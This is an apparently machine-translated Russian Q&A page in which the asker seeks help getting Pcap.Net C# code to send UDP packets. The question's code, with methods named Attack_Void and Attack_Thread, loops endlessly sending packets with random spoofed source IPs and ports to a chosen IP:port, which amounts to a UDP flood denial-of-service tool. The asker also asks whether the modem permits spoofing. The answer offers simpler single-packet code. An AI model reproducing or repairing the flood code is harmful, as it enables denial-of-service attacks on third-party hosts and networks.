2016-06-23 2 views
0

Мой код показан ниже: Я уже установил winpcap тоже. Там любая проблема с программами, которые используются pcapdotnet Я думаю, проблема должна быть в слоях, но я не очень хорошо знаю.Не удается отправить пакет udp с pcapdotnet

 Console.Write("\r IP:Port = "); 
     string[] answer = Console.ReadLine().Split(':'); 
     //answer[0] = ip , answer[1] = port 
     Console.WriteLine(answer[0] + "-"+answer[1]); 
     Attack_Void(answer[0], Convert.ToInt32(answer[1])); 
     Console.ReadKey(); 
    } 

    private static void Attack_Void (string ip,int port) 
    { 
     try 
     { 
      IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; 
      PacketDevice selectedDevice = allDevices[0]; 
      Console.WriteLine(selectedDevice.Description); 
      PacketCommunicator communicator = selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000); 

       while (true) 
       { 
        Thread tret = new Thread(() => Attack_Thread(communicator, ip, port)); 
        tret.Start(); 
        tret.Join(); 
        tret.Abort(); 
       } 


     } catch(Exception ex) 
     { 
      Console.WriteLine(ex.ToString()); 
     } 
    } 

    private static void Attack_Thread(PacketCommunicator comm,string ip,int port) 
    { 
     string rnd_ip = random_ip(); 
     comm.SendPacket(UdpPacket(rnd_ip,ip,port,false,100)); 
     //comm.SendPacket(Udp_Pack_2()); 
     PacketCounter++; 
     Console.WriteLine("Veriler {0} ip adresine, {1} ip adresinden gönderildi. NO: {2} ",ip,rnd_ip,Convert.ToString(PacketCounter)); 
    } 


    private static string random_ip() 
    { 

     string srcip = rnd.Next(0, 255) + "." + rnd.Next(0, 255) + "." + rnd.Next(0, 255) + "." + rnd.Next(0, 255); 
     return srcip; 
    } 


    private static Packet UdpPacket(string src_ip, string rem_ip, int rem_port, bool default_port, int src_port) 
    { 
     int port; 
     if (default_port == true) 
     { 
      port = src_port; 
     } else { port = rnd.Next(0, 65535); } 

      EthernetLayer ethernetLayer = new EthernetLayer { 
       Source = new MacAddress("48:E2:44:5E:A8:07"), 
       Destination = new MacAddress("48:E2:44:5E:A8:07") }; 

     IpV4Layer ipv4Layer = new IpV4Layer 
     { 
      // Source = new IpV4Address(src_ip), 
      Source = new IpV4Address("127.0.0.1"), 
       CurrentDestination = new IpV4Address(rem_ip), 
       Fragmentation = IpV4Fragmentation.None, 
       HeaderChecksum = null, // Will be filled automatically. 
       Identification = 123, 
       Options = IpV4Options.None, 
       Protocol = null, 
       Ttl = 100, 
       TypeOfService = 0, 
      }; 
      UdpLayer udpLayer = 
        new UdpLayer 
        { 
         SourcePort = (ushort)port, 
         DestinationPort = (ushort)rem_port, //port 
        Checksum = null, 
         CalculateChecksumValue = true, 
        }; 

      PayloadLayer payloadLayer = 
       new PayloadLayer 
       { 
        Data = new Datagram(new byte[] { 0x28 }), 
       }; 
      PacketBuilder builder = new PacketBuilder(ethernetLayer, ipv4Layer, udpLayer, payloadLayer); 
      return builder.Build(DateTime.Now); 
     } 

Это мой код, на самом деле я сделал udp-сервер, чтобы взять пакет из этой программы, но я не могу отправить пакет.

Также он не дает никаких ошибок. И я не знаю, включил ли мой сетевой модем спуфинг

+0

документ о том, как отправлять пакеты с помощью Pcap.Net: https://github.com/PcapDotNet/Pcap.Net/wiki/Pcap.Net-Tutorial-Sending -Packets Я предлагаю упростить код, чтобы увидеть, что работает, а что нет. Как вы выбираете устройство? Вы пытались использовать Wireshark, чтобы узнать, отправлены ли вы какие-либо пакеты? – brickner

ответ

0

Попробуйте это, но помните, что он работает только с IPv4.

using PcapDotNet.Core; 
using PcapDotNet.Core.Extensions; 
using PcapDotNet.Packets; 
using PcapDotNet.Packets.Ethernet; 
using PcapDotNet.Packets.IpV4; 
using PcapDotNet.Packets.Transport; 
using System; 
using System.Collections.Generic; 
using System.Diagnostics; 
using System.Linq; 
using System.Net; 
using System.Net.NetworkInformation; 
using System.Net.Sockets; 

namespace UDP 
{ 
public static class NetworkDevice 
{ 
    private static string GetLocalMachineIpAddress() 
    { 
     if (!NetworkInterface.GetIsNetworkAvailable()) 
     { 
      throw new Exception("Network is not available. Please check connection to the internet."); 
     } 

     using (Socket socket = new Socket(System.Net.Sockets.AddressFamily.InterNetwork, SocketType.Dgram, 0)) 
     { 
      socket.Connect("8.8.8.8", 65530); 
      IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint; 

      return endPoint.Address.ToString(); 
     } 
    } 

    public static PacketDevice GetIpv4PacketDevice() 
    { 
     string localMachineIpAddress = GetLocalMachineIpAddress(); 
     IEnumerable<LivePacketDevice> ipV4adapters = LivePacketDevice.AllLocalMachine.Where(w => 
                    (w.Addresses.Select(s => s.Address.Family)) 
                    .Contains(SocketAddressFamily.Internet)); 

     foreach (var adapter in ipV4adapters) 
     { 
      var adapterAddresses = adapter.Addresses 
       .Where(w => w.Address.Family == SocketAddressFamily.Internet) 
       .Select(s => ((IpV4SocketAddress)s.Address).Address.ToString()); 

      if (adapterAddresses.Contains(localMachineIpAddress)) 
       return adapter; 
     } 

     throw new ArgumentException("System didn't find any adapter."); 
    } 
} 
public static class DefaultGateway 
{ 
    private static IPAddress GetDefaultGateway() 
    { 
     return NetworkInterface 
      .GetAllNetworkInterfaces() 
      .Where(n => n.OperationalStatus == OperationalStatus.Up) 
      .SelectMany(n => n.GetIPProperties()?.GatewayAddresses) 
      .Select(g => g?.Address) 
      .FirstOrDefault(a => a != null); 
    } 

    private static string GetMacAddressFromResultOfARPcommand(string[] commandResult, string separator) 
    { 
     string macAddress = commandResult[3].Substring(Math.Max(0, commandResult[3].Length - 2)) 
        + separator + commandResult[4] + separator + commandResult[5] + separator + commandResult[6] 
        + separator + commandResult[7] + separator 
        + commandResult[8].Substring(0, 2); 

     return macAddress; 
    } 

    public static string GetMacAddress(char separator = ':') 
    { 
     IPAddress defaultGateway = GetDefaultGateway(); 

     if (defaultGateway == null) 
     { 
      throw new Exception("System didn't find the default gateway."); 
     } 

     string defaultGatewayIpAddress = defaultGateway.ToString(); 
     return GetMacAddress(defaultGatewayIpAddress, separator); 
    } 

    public static string GetMacAddress(string ipAddress, char separator) 
    { 
     Process process = new Process(); 
     process.StartInfo.FileName = "arp"; 
     process.StartInfo.Arguments = "-a " + ipAddress; 
     process.StartInfo.UseShellExecute = false; 
     process.StartInfo.RedirectStandardOutput = true; 
     process.StartInfo.CreateNoWindow = true; 
     process.Start(); 

     string strOutput = process.StandardOutput.ReadToEnd(); 
     string[] substrings = strOutput.Split('-'); 

     if (substrings.Length <= 8) 
     { 
      throw new Exception("System didn't find the default gateway mac address."); 
     } 

     return GetMacAddressFromResultOfARPcommand(substrings, separator.ToString()); 
    } 
} 
public class UdpProcessor 
{ 
    private string _destinationMacAddress; 
    private string _destinationIPAddress; 
    private ushort _destinationPort; 
    private string _sourceMacAddress; 
    private string _sourceIPAddress; 
    private ushort _sourcePort; 
    private static LivePacketDevice _device = null; 

    public UdpProcessor(string destinationIp) 
    { 
     _sourcePort = 55555; 
     _destinationPort = 44444; 
     _device = NetworkDevice.GetIpv4PacketDevice() as LivePacketDevice; 
     _destinationIPAddress = destinationIp; 
     _sourceIPAddress = _device.Addresses[1].Address.ToString().Split(' ')[1]; //todo 
     _sourceMacAddress = (_device as LivePacketDevice).GetMacAddress().ToString(); 
     _destinationMacAddress = DefaultGateway.GetMacAddress(); 
    } 

    private EthernetLayer CreateEthernetLayer() 
    { 
     return new EthernetLayer 
     { 
      Source = new MacAddress(_sourceMacAddress), 
      Destination = new MacAddress(_destinationMacAddress), 
      EtherType = EthernetType.None, 
     }; 
    } 

    private IpV4Layer CreateIpV4Layer() 
    { 
     return new IpV4Layer 
     { 
      Source = new IpV4Address(_sourceIPAddress), 
      CurrentDestination = new IpV4Address(_destinationIPAddress), 
      Fragmentation = IpV4Fragmentation.None, 
      HeaderChecksum = null, 
      Identification = 123, 
      Options = IpV4Options.None, 
      Protocol = null, 
      Ttl = 100, 
      TypeOfService = 0, 
     }; 
    } 

    private UdpLayer CreateUdpLayer() 
    { 
     return new UdpLayer 
     { 
      SourcePort = _sourcePort, 
      DestinationPort = _destinationPort, 
      Checksum = null, 
      CalculateChecksumValue = true, 
     }; 
    } 

    public void SendUDP() 
    { 
     EthernetLayer ethernetLayer = CreateEthernetLayer(); 
     IpV4Layer ipV4Layer = CreateIpV4Layer(); 
     UdpLayer udpLayer = CreateUdpLayer(); 
     PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, udpLayer); 

     using (PacketCommunicator communicator = _device.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) 
     { 
      communicator.SendPacket(builder.Build(DateTime.Now)); 
     } 
    } 
} 
class Program 
{ 
    static void Main(string[] args) 
    { 
     Console.Write("\r IP:Port = "); 
     string ipAddress = Console.ReadLine();   
     new UdpProcessor(ipAddress).SendUDP();   
     Console.ReadKey(); 
    } 
} 
} 

Результат в Wireshark: enter image description here

Смежные вопросы